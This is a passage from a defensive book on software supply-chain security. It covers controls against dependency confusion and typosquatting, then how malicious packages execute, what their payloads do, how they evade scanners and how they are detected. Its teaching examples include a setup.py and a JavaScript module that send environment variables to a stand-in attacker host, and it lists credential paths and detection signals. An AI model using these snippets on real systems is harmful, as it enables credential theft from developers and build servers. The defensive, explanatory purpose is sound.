The mapping of each attack to its primary control is the operational summary of the chapter:

Attack	Primary control	Enforcement point
Dependency confusion	Reserve namespace publicly + single-index sourcing + block external resolution for internal names	Public registry (reservation) + internal proxy (resolution policy)
Typosquatting	Name allowlist + similarity/ new-and-similar detection + disable install scripts	Internal proxy / CI gate

Attack	Primary control	Enforcement point
Combosquatting	Allowlist + reviewed dependency additions (name looks plausible, so automation is weaker)	CI review gate
Repojacking	Pin versions with recorded hashes; mirror/vendor; monitor for dangling VCS owners	Internal proxy + dependency-graph monitoring
Starjacking	Ignore unverified social signals; require verifiable provenance	Dependency evaluation (Ch 10)
Expired-domain / maintainer takeover	Prefer 2FA-protected maintainers; treat abandoned deps as standing risk	Dependency evaluation + registry 2FA mandates
Manifest confusion	Inventory from installed tarballs, not registry manifests; integrity hashes	SCA / lockfile verification

Two properties make this stack work. First, **reservation is the only control that protects misconfigured consumers** — if the malicious package cannot exist under your namespace, no resolver misconfiguration downstream can pick it. Do it proactively and exhaustively. Second, the **internal proxy is the single place where "how names resolve" becomes enforceable org-wide.** A per-team `.npmrc` or `pip.conf` is advisory; a proxy that refuses to serve `@acme/*` or `acme-*` from any upstream is a wall. This is why Chapter 8's internal-registry material is the load-bearing control for this entire chapter.

Distributed-systems lens

At fleet scale, the character of this threat changes in ways worth stating explicitly.

Every internal name, in every ecosystem, is a dependency-confusion target — and the count is large. A mature backend org has hundreds or thousands of internal package names spread across npm, PyPI, Maven, NuGet, Cargo, Go, and more. Each one is a public

namespace an attacker can squat, and the exposure is *per name, per ecosystem*. The only way this is tractable is to make it a *systemic* property rather than a *per-package* effort: the internal registry/proxy must, by policy, **refuse public resolution for internal namespaces** across all ecosystems it fronts, so that adding a new internal package inherits the protection automatically. If protection is manual — remember to reserve this one, remember to pin that one — the long tail *will* have gaps, and the attacker only needs one.

The internal registry/proxy is the single enforcement chokepoint. Fleet-wide, you cannot audit every team's Dockerfile and CI config for a stray `--extra-index-url`. What you *can* do is ensure that all builds resolve through *one* controlled index whose policy is centrally owned, and make "talking to public npm/PyPI directly" a network-blocked path rather than a soft convention. Then the resolver-level defense is enforced at the network and proxy layer, independent of per-repo discipline. Chapter 8 builds this.

Scan every repo for internal names lacking public reservation. Turn the attacker's own reconnaissance against them: enumerate every internal package name your fleet consumes (from lockfiles and manifests across all repos), and for each, check whether the corresponding public namespace is *reserved by you*. Any internal name that is *un-reserved publicly* and *resolvable from a public index* is an open confusion door. This scan is cheap, and it converts a diffuse fear into a finite, closeable list.

The org-wide package-manager config is policy, and it must be distributed like policy. The `.npmrc`, `pip.conf`, and `settings.xml` that pin sources and scopes should ship in golden base images and standard CI templates, be version-controlled, and be reviewed on change. At fleet scale these files are the difference between a resolver posture that is *uniform and enforced* and one that is *per-team and drifting* — and drift is exactly where the one vulnerable service that lands a malicious internal-name substitution will be.

The through-line is that these are the *cheapest* attacks to mount and, correspondingly, the ones most amenable to *deterministic* defense. Unlike a maintainer going rogue or a build system being compromised, dependency confusion and its relatives are configuration and namespace problems. You cannot make them impossible for the whole open-source ecosystem, but for *your* fleet you can close them almost completely — if

you treat name resolution as a security boundary and route it through a chokepoint you control.

Key takeaways

- **These attacks abuse the mapping from name to artifact, not any vulnerability in code.** Dependency confusion abuses the resolver, typosquatting abuses the human, and namespace/identity attacks abuse the origin behind a trusted name. The unifying weakness is that in flat-namespace registries a name is a *label*, not a *location* — it carries no proof of who may publish it or which source is authoritative.
- **Dependency confusion is a merged-candidate-set problem.** When the resolver treats an internal and a public index as one pool and picks the highest version, an attacker's public `99.0.0` beats your internal `1.0.0`. Birsan's 2021 research and the 2022 torchtriton incident are the same mechanism; the fix is to make the internal source the *only* candidate for internal names.
- **`--extra-index-url` adds; `--index-url` replaces.** pip treats all indexes as equal and picks the max version, so `--extra-index-url` is the trap and `--index-url` (pointed at a policy-driven internal proxy) is the fix. On npm, bind scopes to the internal registry in `.npmrc`.
- **Maven and Go resist confusion structurally** — Maven via explicit ordered repositories and domain-verified `groupId` namespaces, Go via URL-as-name import paths — which tells you exactly what to emulate on npm/PyPI: namespacing, single-source resolution, and public reservation.
- **Reserving your namespace publicly is the only control that protects misconfigured consumers.** Own your npm scope; publish placeholder packages under your internal PyPI names. If the malicious package cannot exist, no downstream misconfiguration can select it.
- **Typosquatting and combosquatting are permanent ambient risk, not incidents.** crossenv (2017), python3-dateutil/jeIlyfish (2019), and the ongoing weekly waves ride install-time hooks; defend with allowlists, similarity/new-and-similar detection, and script-disabling — and remove ad-hoc public installs from the workflow.

- **Namespace and identity attacks turn a trusted name malicious.** Repojacking reclaims freed VCS namespaces (GitHub's popularity-gated retirement leaves the long tail exposed); starjacking forges popularity via unverified repo links; expired-domain takeover resets maintainer accounts; npm manifest confusion (2023) lets served metadata diverge from tarball contents. Verify from installed artifacts, weight social signals near zero, and prefer 2FA-protected maintainers.
- **At fleet scale the defense is systemic, and the internal proxy is the chokepoint.** Make "refuse public resolution for internal namespaces" a policy the proxy enforces for every ecosystem, scan all repos for internal names lacking public reservation, and distribute package-manager config as versioned, reviewed policy through golden images and CI templates. See Book 2, Chapter 8 — Vendoring, Mirroring, and Internal Registries.

Further reading

- Alex Birsan, "Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies" (2021): https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
- Microsoft, "Three Ways to Mitigate Risk When Using Private Package Feeds" (the white paper published in response to Birsan's research): https://azure.microsoft.com/en-us/resources/3-ways-to-mitigate-risk-using-private-package-feeds/
- PyTorch, "Compromised PyTorch-nightly dependency chain between December 25th and December 30th, 2022" (the torchtriton advisory): https://pytorch.org/blog/compromised-nightly-dependency/
- npm documentation, "scope" and configuring a registry per scope in `.npmrc`: https://docs.npmjs.com/cli/using-npm/scope and https://docs.npmjs.com/cli/configuring-npm/npmrc
- pip documentation, "Secure installs" and the semantics of `--index-url` vs `--extra-index-url`: https://pip.pypa.io/en/stable/topics/secure-installs/
- Maven Central / Sonatype documentation on namespace (groupId) ownership verification for publishing: https://central.sonatype.org/register/namespace/

- The Go Modules Reference and the checksum-database design (module authentication, `go.sum`): https://go.dev/ref/mod and https://go.dev/blog/module-mirror-launch
- GitHub, "Renaming a repository" and the namespace-retirement behavior for popular repositories: https://docs.github.com/en/repositories/creating-and-managing-repositories/renaming-a-repository
- Darcy Clarke, "npm manifest confusion" (2023): https://blog.vlt.sh/blog/the-massive-hole-in-the-npm-ecosystem
- Ladisa, Plate, Martinez, Barais, "SoK: Taxonomy of Attacks on Open-Source Software Supply Chains" (IEEE S&P 2023) — technique catalog including confusion, typosquatting, and repojacking.
- OpenSSF, "npm Best Practices Guide" and Scorecard checks relevant to dependency selection and namespace hygiene: https://openssf.org/

Chapter 4 — Malicious Packages: Anatomy, Detection, and Analysis

What this chapter covers. Chapter 3 was about *delivery*: how an attacker gets a package with their name into your resolver's field of view — dependency confusion, typosquatting, account takeover, namespace tricks. This chapter is about the *payload*: what the code inside that package actually does once it lands, when and where it runs, how it hides, and — the practitioner's core — how you detect and analyze it without becoming its next victim. The central, counter-intuitive fact this chapter drills into: for most ecosystems, *installing* a package is enough to execute attacker code. You do not have to `import` it, call it, or ship it. `npm install` on a laptop or a CI runner is arbitrary code execution by design, and that single property is the engine behind the majority of real-world supply-chain compromises. We dissect the three execution phases (install, import, build), build a taxonomy of what payloads do — with real incidents, correctly described — catalog the evasion techniques that defeat naïve scanning, and then spend the back half of the chapter on the thing you are actually paid to do: static heuristics, dynamic sandboxing, reputation signals, a safe triage runbook, and the org-level controls that stop one bad version from touching a whole fleet.

Learning goals — after this chapter you should be able to:

- Explain precisely **where malicious code executes** — install-time lifecycle scripts, import- time module bodies, and build-time plugins/ native code — and why install-time is the dominant vector and the hardest to opt out of safely.
- Enumerate the **taxonomy of malicious behaviors** — recon/ beaconing, credential theft, cryptomining, backdoors/RATs, wallet/ clipboard stealers, wipers, and multi-stage droppers — and tie each to a real incident described accurately.
- Recognize the **evasion and anti-analysis techniques** that make packages hard to catch: obfuscation, delayed and environment-gated activation, sandbox detection, split payloads, and the "sleeper" package that turns malicious after many benign releases.
- Run the **detection toolchain** — static heuristics (GuardDog, Socket, Semgrep), dynamic sandboxing (OpenSSF Package Analysis), and reputation/behavioral signals — and understand what each can and cannot see.
- Execute a **safe triage runbook** for a flagged package in an isolated environment with no real credentials and full network/filesystem capture.
- Argue the **distributed-systems case** for scanning at ingestion and a version-cooldown quarantine window as the two highest-leverage org-level controls, and for feeding detections into fleet-wide inventory.

A note on scope. The delivery mechanisms — how the attacker's package outranks or impersonates the real one — are Chapter 3. The vulnerability-versus-malice distinction, and why CVE/OSV databases (Chapter 5) mostly *don't* cover malware, matters here and we flag it. Running the internal proxy where ingestion scanning lives is Chapter 8; update automation and cooldowns are Chapter 9; SBOM-driven "who pulled the bad version" inventory is Book 3; the incident-response playbook once a detection fires is Book 8. Book 1, Chapter 4 (ua-parser-js, node-ipc) and Chapter 5 (Codecov, xz-utils) narrated those incidents as case studies; here we use them as worked specimens of *mechanism*.

Where the code executes: the three phases

Before you can detect a malicious package you have to know *when* its code gets control. There are three distinct phases, and they differ sharply in how easy they are to gate. A defense that stops one does nothing for the others.

```
flowchart TD
  subgraph INSTALL["Install-time — runs on 'npm install' / 'pip
install'"]
    A1["npm lifecycle scripts
preinstall / install / postinstall"]
    A2["Python sdist build
setup.py, PEP 517 build hooks"]
    A3["RubyGems extconf.rb
gemspec eval, native ext build"]
  end
  subgraph IMPORT["Import-time / runtime — runs on require / import"]
    B1["Top-level module body
side effects on load"]
    B2["Monkey-patched exports
malice inside a real function"]
  end
  subgraph BUILD["Build-time — runs during compile / bundle"]
    C1["Build plugins
webpack/rollup, gyp bindings"]
    C2["Native addons
node-gyp, C/C++ extensions"]
    C3["Rust proc-macros,
Gradle/Maven build steps"]
  end
  DEV["Developer laptop or CI runner"] --> INSTALL
  INSTALL -->|"code already ran"| IMPORT
  IMPORT --> BUILD
  INSTALL -. "most incidents land here" .-> P["Payload: exfil, dropper,
backdoor"]
  IMPORT -.-> P
  BUILD -.-> P
```

Install-time execution: the dominant vector

The single most important sentence in this chapter: **in npm, pip's source-distribution path, and RubyGems, merely installing a package can execute arbitrary attacker-controlled code, with no import and no use of the package whatsoever.** This is not a bug. It is a deliberate feature of package managers that needed to compile native

extensions, fetch platform binaries, or run post-install setup. Attackers inherit it for free.

In npm the mechanism is **lifecycle scripts** declared in `package.json`. The `scripts` object can define `preinstall`, `install`, and `postinstall` hooks that `npm` runs, in order, during installation of that package — including when the package is a deep transitive dependency you never named:

```
{
  "name": "totally-legit-utils",
  "version": "3.2.1",
  "scripts": {
    "postinstall": "node ./scripts/setup.js"
  }
}
```

`npm install` resolves the tree, unpacks each tarball, and for every package with an `install` / `postinstall` script, runs it with the privileges of the invoking user, in the package's own directory, with full network and filesystem access. On a CI runner that user often has the CI's cloud credentials, the registry publish token, and the deploy keys in its environment. The classic dependency-confusion proof of concept (Chapter 3) is nothing but a `postinstall` that phones home; the classic smash-and-grab is a `postinstall` that reads `process.env` and `~/.aws/credentials` and POSTs them out. The victim never wrote a line of code that touches the package.

Python's equivalent lives in the **source distribution (sdist)** path. A `.whl` wheel is inert data — installing it just unzips files into `site-packages`, no code runs. But an sdist ships a `setup.py` (or, under PEP 517, a `pyproject.toml` pointing at a build backend), and building it runs `setup.py` as an ordinary Python program, on the installer's machine, at install time:

```
# setup.py in a malicious sdist
from setuptools import setup
from setuptools.command.install import install
import os, urllib.request, json, socket

class Exfil(install):
    def run(self):
        data = json.dumps({
            "host": socket.gethostname(),
            "user": os.getenv("USER"),
            "env": dict(os.environ),
        }).encode()
        try:
            urllib.request.urlopen("https://attacker.example/collect",
data, timeout=3)
        except Exception:
            pass
        install.run(self)
# complete the real install so nothing looks wrong

setup(name="colourama", version="1.0.0", cmdclass={"install": Exfil})
```

This is precisely the shape of the early PyPI typosquat waves (`colourama` mimicking `colorama`, and the families that followed). Because wheels don't run code and sdists do, an attacker's first move is often to publish *only an sdist* so `pip` is forced down the code-executing path — a signal detectors watch for.

RubyGems has the same property twice over. A gem's `.gemspec` is *evaluated as Ruby* when the gem is handled, and gems with C extensions run `extconf.rb` (via `mkmf`) at install to generate a Makefile — both are arbitrary-code execution points. Cargo is a partial exception: `Cargo.toml` is declarative data, but a crate can ship a `build.rs` build script that Cargo compiles and runs at build time (the build phase, below), so the code-on-acquisition property reappears one phase later. Go modules and Maven/Gradle *artifact download* run no code on fetch; execution in the JVM world is deferred to build plugins and to runtime.

`--ignore-scripts` and its limits. Every npm invocation accepts `--ignore-scripts`, and you can set it permanently in `.npmrc`. It tells npm to skip *all* lifecycle scripts, which neutralizes the entire install-time vector at

a stroke. This is the correct default for CI (we return to it under org defenses). But understand its limits precisely:

- It is all-or-nothing per install. Legitimate packages that genuinely need a `postinstall` to fetch a platform binary (`esbuild`, `sharp`, some native modules) will not set themselves up. You then need an allowlist to re-enable scripts for exactly those packages — npm's `--ignore-scripts` has no built-in per-package exception, so this is done with tooling like `@lavamoat/allow-scripts`, which pins a reviewed allowlist of packages permitted to run scripts and blocks the rest.
- It does **nothing** for the other two phases. A package whose malice lives in its module body runs the instant your code `require`s it, scripts ignored or not. `--ignore-scripts` buys you the biggest single reduction in attack surface and a false sense of completeness if you stop there.

Import-time / runtime execution

The second phase is code in the **module body** that runs when the package is first `require`d/`import`ed. Any statement at the top level of a JavaScript module, or at import time in a Python module, executes on load — not when a function is called:

```
// index.js — runs the moment someone does require('this-package')
const os = require('os');
const https = require('https');
const payload = Buffer.from(process.env, ...); // read secrets
https.request('https://attacker.example/c2', { method: 'POST' }).end(pa
yload);
module.exports = require('./the-real-library'); // still export the
real thing
```

This phase is strictly harder to gate than install scripts. There is no `--ignore-imports` flag; the whole point of a dependency is that you import and run it. Defenses here are coarse — a runtime permission model (Deno's allow-list flags, Node's experimental permission model), or preventing the package from entering your tree at all. Note the trade the attacker makes: import-time malice only fires if the victim actually *uses* the package, so it is better-targeted and stealthier than an install script that fires on every `npm install` in the tree, but it reaches fewer victims. Sophisticated, targeted compromises (event-stream, below) choose runtime; smash-and-grab credential theft chooses install.

Build-time execution

The third phase is code that runs during **compilation or bundling**. This is where the otherwise-safe ecosystems lose their immunity:

- **Native addons and node-gyp.** npm packages with C/C++ extensions run `node-gyp`, which invokes a `binding.gyp` and a compiler toolchain — arbitrary build logic.
- **Rust `build.rs` and procedural macros.** A crate's `build.rs` runs on the build host during `cargo build`. Proc-macros are even more insidious: a procedural macro is Rust code the *compiler* runs to generate code, with full host access, every time you compile a crate that uses it. There is no sandbox around a proc-macro; `cargo build` on untrusted code is code execution.
- **JVM build steps.** Maven and Gradle run no code when they *download* a JAR, but a malicious Maven plugin or Gradle plugin (or a `build.gradle` itself, which is executable Groovy/Kotlin) runs during the build. Gradle build scripts are full programs.
- **Build macros and generators generally.** Anything that runs at compile time — code generators, annotation processors, linker plugins — is an execution point.

The xz-utils backdoor (CVE-2024-3094; Book 1, Chapter 5) is the canonical build-time attack: the malicious payload was not in the source a human would read but injected during the `./configure` / `make` build via a doctored `build-to-host.m4` autoconf macro and obfuscated test fixtures, which spliced object code into `liblzma` only when the build matched specific conditions. The lesson for this chapter: **your build system is an execution environment**, and "we only download signed release tarballs, we don't run install scripts" does not protect you if the malice runs when you compile.

What the payloads do: a taxonomy

Once attacker code has control, in any phase, what does it do? The behaviors cluster into a handful of categories. Detection tooling is largely organized around recognizing these behaviors, so the taxonomy is not academic — it is the target list for your heuristics.

```
flowchart TD
  ROOT["Malicious package behaviors"]
  ROOT --> RECON["Reconnaissance / beaconing"]
  ROOT --> CRED["Credential & secret theft"]
  ROOT --> MINE["Cryptomining"]
  ROOT --> BACK["Backdoors / RATs / reverse shells"]
  ROOT --> STEAL["Wallet / clipboard stealers"]
  ROOT --> WIPE["Wipers / sabotage / protestware"]
  ROOT --> DROP["Downloaders / droppers (stage-2)"]
  RECON --> R1["hostname, username, IP, package name"]
  RECON --> R2["DNS exfiltration (covert channel)"]
  CRED --> C1["env vars / CI tokens"]
  CRED --> C2["~/.aws, ~/.ssh, .npmrc"]
  CRED --> C3["cloud metadata 169.254.169.254"]
  CRED --> C4["browser data"]
  BACK --> B1["persistent C2 channel"]
  STEAL --> S1["clipboard crypto-address swap"]
  DROP --> D1["fetch & exec stage-2 (gated)"]
```

Reconnaissance and beaconing

The lowest-effort payload just proves it ran and reports where. It collects `hostname`, `username`, the current working directory, external IP, and — critically for dependency-confusion campaigns — the *package name* that fired, so the attacker can tell which of the hundreds of names they squatted actually resolved inside a real company. Alex Birsan's 2021 dependency-confusion research (Chapter 3) used exactly this: benign PoC beacons that exfiltrated identifying data to attribute the hit. The same code shape is used by bug-bounty researchers, by red teams, and by real attackers doing target selection before deploying a heavier payload. You cannot tell a "research" beacon from a hostile one by its behavior; treat both as incidents.

A recurring covert channel here is **DNS exfiltration**. Instead of an HTTP POST (which egress proxies and firewalls often log or block), the payload encodes stolen data into subdomains of an attacker-controlled zone and does a DNS lookup: `base32(hostname).x.attacker.example`. The attacker's authoritative name server logs the query. DNS almost always egresses even from locked-down build networks, and it is frequently unmonitored, which is exactly why it is popular. A detector that only watches HTTP misses it; a sandbox must capture DNS queries (below).

Credential and secret theft

The highest-value smash-and-grab. On a developer laptop or, far worse, a CI runner, the process environment and home directory are dense with secrets:

- **Environment variables** — CI providers inject tokens, cloud keys, and registry credentials as env vars. `process.env` / `os.environ` is a one-line theft. The Codecov breach (Book 1, Chapter 5) is the archetype at scale: a modified Bash Uploader script exfiltrated the environment of every CI job that ran it, which for thousands of orgs meant AWS keys, repo tokens, and more. A malicious install script does the same thing without needing to compromise a build tool.
- `~/.aws/credentials`, `~/.ssh/id_*`, `~/.npmrc`, `~/.docker/config.json` — long-lived credentials on disk. `.npmrc` is especially nasty: stealing the publish token lets the attacker publish malicious versions of *your* packages, turning one compromise into a worm.
- **Cloud instance metadata** — a payload on a cloud build runner hits `http://169.254.169.254/latest/meta-data/iam/security-credentials/` (or the GCP/Azure equivalents) to lift the instance's IAM role credentials directly, no file needed. IMDSv2's token requirement raises the bar slightly but a payload running *on* the host clears it trivially.
- **Browser data** — on developer machines, saved passwords, cookies, and session tokens from browser profiles. Session-cookie theft bypasses MFA.

Cryptominers

Resource theft rather than data theft. The payload downloads and runs a coin miner (almost always **XMRig**, mining Monero for its unlinkability) pointed at the attacker's wallet and pool. The ua-parser-js compromise of October 2021 (Book 1, Chapter 4) is the reference case: an attacker took over the maintainer's npm account and published malicious `0.7.29`, `0.8.0`, and `1.0.0`, whose install script fetched a Monero miner (and, on Windows, a password-stealing trojan). ua-parser-js had on the order of tens of millions of weekly downloads, so the blast radius was enormous and immediate — the reason npm and the maintainer moved within hours. Miners are, ironically, among the *easier* payloads to detect after

the fact: sustained CPU saturation and a connection to a mining pool are loud.

Backdoors, RATs, and reverse shells

Instead of a one-shot exfil, the payload establishes a **persistent command-and-control (C2)** channel — a reverse shell dialing out to an attacker host, or a remote-access trojan that polls for commands. This converts a package install into ongoing interactive access to the build environment or the developer's machine, from which the attacker moves laterally. On CI this is particularly grave because the runner often has network reach into internal systems that a laptop does not.

Wallet and clipboard stealers

Two flavors of targeted financial theft. A **clipboard stealer** (crypto-clipper) hooks the system clipboard and, when it sees something shaped like a cryptocurrency address, silently swaps it for the attacker's address — so a user copying their own wallet address to receive funds pastes the attacker's. A **wallet stealer** reads local wallet files or keys.

The **event-stream** incident (2018; Book 1, Chapter 4) is the definitive targeted specimen and worth stating precisely because its mechanism is so instructive. The original maintainer, no longer interested, handed `event-stream` — a package with millions of weekly downloads — to a new maintainer who had volunteered. That maintainer published a release adding a new dependency, `flatmap-stream`, and later shipped `flatmap-stream@0.1.1` carrying an encrypted payload. The payload was **environment-gated**: it decrypted and ran only inside the build of a specific target — **Copay**, a Bitcoin wallet application — where it attempted to steal wallet private keys. In any other project the code did nothing, decrypting to garbage. This is credential/wallet theft *and* a masterclass in evasion (below): a compromise that is invisible in every environment except the one it was built to rob.

Wipers and sabotage (protestware)

Not all payloads steal; some destroy. The **node-ipc** incident of March 2022 (Book 1, Chapter 4) is the reference. The maintainer of `node-ipc`, a widely-depended-upon module, shipped versions (10.1.1 and 10.1.2) whose code checked the host's geolocation by IP and, if it resolved to Russia or Belarus, **overwrote files on disk** with a heart emoji — a

destructive wiper aimed at users in those countries. Related releases added a `peacenotwar` module that wrote a protest message to the desktop. This is "protestware": a maintainer weaponizing their own package for a political cause, sabotaging users. It is important precisely because it breaks the reputation heuristic — node-ipc was an established, trusted package with a long benign history; the threat was the *maintainer*, not an impostor.

Downloaders / droppers and second-stage gating

The most operationally sophisticated payloads keep almost nothing in the package. The published code is a small **dropper** that fetches a **stage-2** payload from a remote server at runtime and executes it. This defeats static analysis of the package itself (the malice literally is not there yet) and gives the attacker a kill switch: they can serve the real payload only to chosen victims and serve benign nothing to everyone else — including to your scanner. **Second-stage gating** — deciding whether to deliver the real payload based on the requester's IP, geolocation, CI markers, OS, or a target-specific check — is the through-line connecting droppers to the evasion techniques we turn to now.

Evasion and anti-analysis

An attacker who expects scanning designs the package to survive it. These techniques are why "we scan our packages" is necessary but nowhere near sufficient.

Obfuscation. Payloads are minified, base64/hex-encoded, string-encrypted, or wrapped in `eval` of a decoded blob. A common shape is `eval(Buffer.from('...', 'base64').toString())` or `exec(marshal.loads(...))` in Python. Obfuscation defeats a human skim and naïve string matching, but it is itself a *signal*: legitimate packages rarely `eval` a base64 blob at install time, so detectors flag the obfuscation pattern even without decoding it.

Legit-looking code and re-export. Good malware ships the real library too. It monkey-patches one function or runs a side effect and then `module.exports = require('./real-thing')`, so the package works perfectly and no test fails. Typosquats copy the target's entire README and repo metadata (**starjacking** — claiming the popular project's

repository URL to inherit its stars and apparent legitimacy; Chapter 3), so the package page looks trustworthy.

Delayed and environment-gated activation. The payload sleeps — literally a timer, or a "do nothing for the first N days / until a date," or fires only under specific conditions: a particular hostname, a CI environment variable, an OS/arch, the presence of a target file, or a specific downstream project. event-stream fired only in Copay's build. The xz backdoor gated on distribution, architecture (x86-64 Linux), the presence of specific build tooling, and being built as part of a deb/rpm package — so it stayed dormant in most build environments and in the hands of most investigators. Environment gating is deadly for detection because **a sandbox that does not look like the target sees a benign package.**

Sandbox and analysis detection. Payloads probe for the tells of an analysis environment — known analysis hostnames, absence of a real user's browser history or shell history, monitoring tools in the process list, virtualization artifacts, non-routable or datacenter IP ranges — and go quiet if they think they are being watched. This is the co-evolutionary pressure that pushes dynamic sandboxes toward realism.

Split payloads. The malice is spread across multiple versions or multiple packages, none of which is damning alone. One version adds an innocuous dependency; a later version of *that* dependency ships the payload (the event-stream `flatmap-stream` pattern). Or `preinstall` in package A writes a file that package B's `postinstall` executes. Analyzing one version or one package in isolation misses it.

The sleeper / handover package. The most durable evasion is *time and trust*. A package is genuinely benign for many releases, accumulating downloads, stars, and dependents — and then turns. The turn can be a maintainer selling or handing over the package (event-stream), an account takeover of a real maintainer (ua-parser-js), or the maintainer themselves going rogue (node-ipc). Reputation heuristics that reward age and popularity are, against a sleeper, actively misleading. This is why *per-version* scanning at ingestion and a *cooldown* on new versions (below) matter more than a one-time "is this package reputable" check.

Install-only, self-deleting payloads. Some install-time payloads run their exfil and then delete their own artifacts and complete a normal install, leaving a working package and little forensic trace on disk. The

evidence lives in the network capture and the registry's copy of the version, not on the victim's filesystem — which is one more reason ingestion-time capture beats after-the-fact host forensics.

Detection and analysis

This is the practitioner core. Detection has three complementary modes — static, dynamic, and reputational — and none is sufficient alone. Static analysis reads the code without running it; dynamic analysis runs it and watches; reputation asks whether the *provenance* smells right. Sophisticated malware is designed to beat at least one, so serious pipelines run all three and correlate.

A framing note that trips up newcomers: **this is not what `npm audit` or a CVE/OSV scanner does.** Those check your resolved versions against databases of *known vulnerabilities* in *legitimate* packages (Chapter 5). A brand-new malicious package has no CVE — it is not a bug in good software, it is bad software — so vulnerability scanners are blind to it until someone files a malware advisory. Malware detection is a separate discipline built on behavior and provenance, which is the subject of this section. (GitHub and the ecosystems do publish malware advisories after the fact, and OSV now carries a *malicious-packages* dataset, discussed below — but that is post-hoc labeling, not prospective detection.)

Static analysis and heuristics

Static detectors parse the package (install scripts, module bodies, metadata) and flag suspicious *capabilities* and *anomalies*:

- **Suspicious install scripts** — the mere presence of `preinstall` / `postinstall`, especially one that spawns a shell, `curl`s a URL, or runs `node -e` / `python -c`.
- **Network calls at install or import time** — outbound HTTP/DNS/socket use where a library of this kind has no business making connections, particularly during installation.
- **Access to sensitive paths or env** — reads of `~/.ssh`, `~/.aws`, `~/.npmrc`, `process.env`, the metadata IP, or the clipboard.
- **Dangerous primitives** — `eval`, `child_process.exec` / `spawn`, `os.system`, `subprocess`, `Function(...)` on decoded data, `marshal` / `pickle` loads.

- **Obfuscation and high entropy** — minified/encoded blobs, base64 strings above a length threshold, string-array packers. Entropy is a cheap, effective flag.
- **Sdist-only or unexpected native code** — a Python package shipping only an sdist, or an npm package suddenly gaining a `.node` binary or a `binding.gyp`.
- **Metadata anomalies** — newly-published, very low download count, a maintainer account days old, a name one edit-distance from a popular package, a repo link that doesn't match (starjacking).

Real tools that implement this:

- **GuardDog** (Datadog, open source) — a CLI that scans PyPI and npm packages using a set of **Semgrep** rules over the source plus package-metadata heuristics (release/maintainer age, empty description, sdist-only, etc.). It is designed to be run against a package before you adopt it, or in bulk over a feed.
- **Socket** — a commercial service (with a free tier and GitHub app) that scores packages on "supply-chain risk" by detecting capability changes: a new version that suddenly adds network access, filesystem access, an install script, or shell execution triggers an alert. Its model is *behavioral diffing across versions*, which is well-matched to catching a sleeper's turn.
- **Semgrep** — the general static-analysis engine underneath much of this; you can write and run your own rules (e.g., "flag `child_process` use inside a `postinstall` script").
- **Phylum** (acquired by Veracode in 2024) — behavioral/risk analysis of packages across ecosystems, oriented at the CI/ingestion gate.
- **VirusTotal** — useful for the *dropped binary* case: hash-check or upload a fetched stage-2 or a native addon and see if any AV engine flags it. Weak against novel or source-only payloads.

Static analysis is fast, cheap, and scales to whole registries — but it is defeated by heavy obfuscation, by droppers whose payload is remote, and by environment gating that hides the malicious branch behind a condition the parser can't evaluate.

Dynamic analysis: sandboxing

Dynamic analysis *runs* the package — installs it and imports it — inside an instrumented, isolated sandbox, and records what it actually does: every syscall, file access, process spawn, network connection, and DNS query. Because it observes behavior rather than reading code, it sees through obfuscation and catches the dropper *fetching* its stage-2 — the network connection is right there in the trace even if the code that made it is an encrypted blob.

```
flowchart LR
  FEED["Package feed
new versions from npm/PyPI"] --> ORCH["Orchestrator"]
  ORCH --> SBX
  subgraph SBX["Isolated sandbox VM / gVisor container (no real
creds)"]
    direction TB
    RUN["Run 'npm install' and 'import pkg'"]
    MON["Instrumentation: strace / eBPF"]
    RUN --> MON
  end
  MON --> NET["Network + DNS capture"]
  MON --> FS["Filesystem access log"]
  MON --> PROC["Process / syscall log"]
  NET --> ANALYZE["Behavior analysis & rules"]
  FS --> ANALYZE
  PROC --> ANALYZE
  ANALYZE --> VERDICT["Verdict + IOCs"]
  VERDICT --> DB["OSF malicious-packages / advisories"]
```

The reference open-source implementation is **OpenSSF Package Analysis**. It consumes a feed of newly-published packages, installs and imports each one inside a sandbox (it has used gVisor-based sandboxing with `strace`-level syscall monitoring), and records the files accessed, commands executed, and network/DNS traffic generated during both the install phase and the import phase — separately, since they are different execution phases. The output is a structured behavior report; runs that show install-time network connections to unknown hosts, reads of credential paths, or execution of a downloaded binary are strong malicious signals. Package Analysis is one of the engines feeding the ecosystem's **Package Feeds** and the OSF **malicious-packages** dataset.

Dynamic analysis is not a silver bullet either. It is heavier and slower than static scanning, it only observes the paths that actually execute in *that* run, and — the core weakness — **environment gating and sandbox**

detection defeat it. If the payload only fires on Copay's build, or on a specific arch/distro, or refuses to run when it smells a VM, the sandbox sees a saint. This is why the two modes are complementary: static analysis flags the *presence* of a gated/obfuscated branch it can't evaluate; dynamic analysis catches the *behavior* of everything that does run.

Behavioral and reputation signals

The third leg looks at provenance rather than code:

- **Maintainer and account age** — a package or a new maintainer created days before publishing is a classic account-takeover or throwaway-attacker signal.
- **Download trajectory** — a package with near-zero downloads that suddenly appears in your build (dependency confusion), or a normal package whose new version's behavior diverges.
- **Repository linkage validity** — does the declared repo actually contain this code, and does the published tarball match the repo at that tag? A mismatch, or a repo URL borrowed from a popular project (starjacking), is a red flag. This is checkable by comparing the published artifact to the source.
- **Release-cadence anomaly** — a package that published quarterly for three years suddenly shipping three versions in an hour, or a version published from a new location/token.
- **Sudden maintainer change** — a new owner, a transferred package, a new publish token. Every major targeted incident (event-stream handover, ua-parser-js takeover) shows up here first.

These signals are individually weak and collectively strong. A newly-published, sdist-only, one-download package from a two-day-old account with an install script that base64-decodes and `exec`s something is not ambiguous.

A payload → signal → detection map

Payload type	Observable signal	Best detection technique
Recon / beacon	Outbound HTTP or DNS at install/import; reads hostname/env	Dynamic (network+DNS capture); static flag on net calls in scripts

Payload type	Observable signal	Best detection technique
Credential theft	Reads `~/.aws`, `~/.ssh`, `.npmrc`, `process.env`, `169.254.169.254`	Static path/env heuristics; dynamic filesystem + network trace
Cryptominer	Sustained CPU; connection to mining pool; fetch of XMRig	Dynamic (CPU + net); VirusTotal on dropped binary
Backdoor / RAT	Persistent outbound socket; reverse-shell spawn (`sh -i`)	Dynamic (process + net); static `child_process` / `exec` flag
Wallet / clipboard stealer	Clipboard API use; wallet-file reads; address-shaped regex	Static capability scan; dynamic clipboard/file monitor
Wiper / sabotage	Mass file writes/overwrites/deletes; geo/IP check	Dynamic filesystem monitor; static geo-gate + fs-write pattern
Dropper / stage-2	Fetch of a URL then exec of the response	Dynamic (net + exec correlation); static `eval(fetch(...))` flag
